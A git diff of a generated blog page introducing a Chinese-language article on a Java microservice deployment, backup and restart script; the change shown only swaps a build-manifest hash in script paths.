diff --git a/article/240124-deploy.html b/article/240124-deploy.html
index 2878ac8dd..a917cbbdb 100644
--- a/article/240124-deploy.html
+++ b/article/240124-deploy.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="推荐,工具,自动化,微服务"/><meta name="description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage"/><meta property="og:description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta property="og:url" content="https://bothsavage.github.io//article/240124-deploy"/><meta property="og:image" content="https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta name="twitter:title" content="Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Java部署脚本&amp;重启备份检查&amp;配置环境</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-38e3f997dad946b899bbd3042488821f"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-30cd1b5d9c764661bb28c4f7511b9c0c"><a href="#c4f68ef2bdba42b2829c2443f5de269d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6dc7d2472acb4e17979f2751e11a4866" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">命令编写步骤</span></a><a href="#8513dc44acdd416c97975a429313055a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置环境变量</span></a><a href="#316c39c8874f4c268b20c27d7df00e22" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">主程序</span></a><a href="#e50a06de71d542a584f972dba14b6249" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">辅助函数</span></a><a href="#1c461f9febc0408dbd62cd2d593df5ff" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">动态设置JVM参数</span></a><a href="#547f54ed12384e1e89ef996809620f35" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">根据jar包获取正在运行的pid列表</span></a><a href="#6d929a3430414f19acdbc1db601c49dc" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">停止服务</span></a><a href="#d23b738a497745dd9e874ac4299f8a2c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">启动服务</span></a><a href="#8d850969c7f1427891897b8a880d6922" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">启动完成检查</span></a><a href="#2c676e2583254e28a93c2a14c18c16f9" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">备份</span></a><a href="#dae3dcc69abb45e78cd096e67fb23514" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">环境变量配置</span></a><a href="#d044fa9043bf464bb804b1952f91548b" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置~/.bash_profile</span></a><a href="#12211a141feb449bbeababea67e70635" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置自动补全</span></a><a href="#af722408abb3480e9546752a8866c509" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">效果</span></a><a href="#0cdbdf1b35ba440492353d8625c1eac0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">备份</span></a><a href="#8566becf9f134e17800f8c73a9d69d10" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">重启</span></a><a href="#1af189564491464688128c26899d094c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">最终部署脚本</span></a><a href="#3b508db8425b4c7783d09eba50c4ef24" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c4f68ef2bdba42b2829c2443f5de269d" data-id="c4f68ef2bdba42b2829c2443f5de269d"><span><div id="c4f68ef2bdba42b2829c2443f5de269d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c4f68ef2bdba42b2829c2443f5de269d" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-de75e7b797b74bbaacf9c9a53bb46ac7"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。
+<!DOCTYPE html><html lang="zh-CN"><head><title>Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="推荐,工具,自动化,微服务"/><meta name="description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage"/><meta property="og:description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta property="og:url" content="https://bothsavage.github.io//article/240124-deploy"/><meta property="og:image" content="https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。"/><meta name="twitter:title" content="Java部署脚本&amp;重启备份检查&amp;配置环境 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 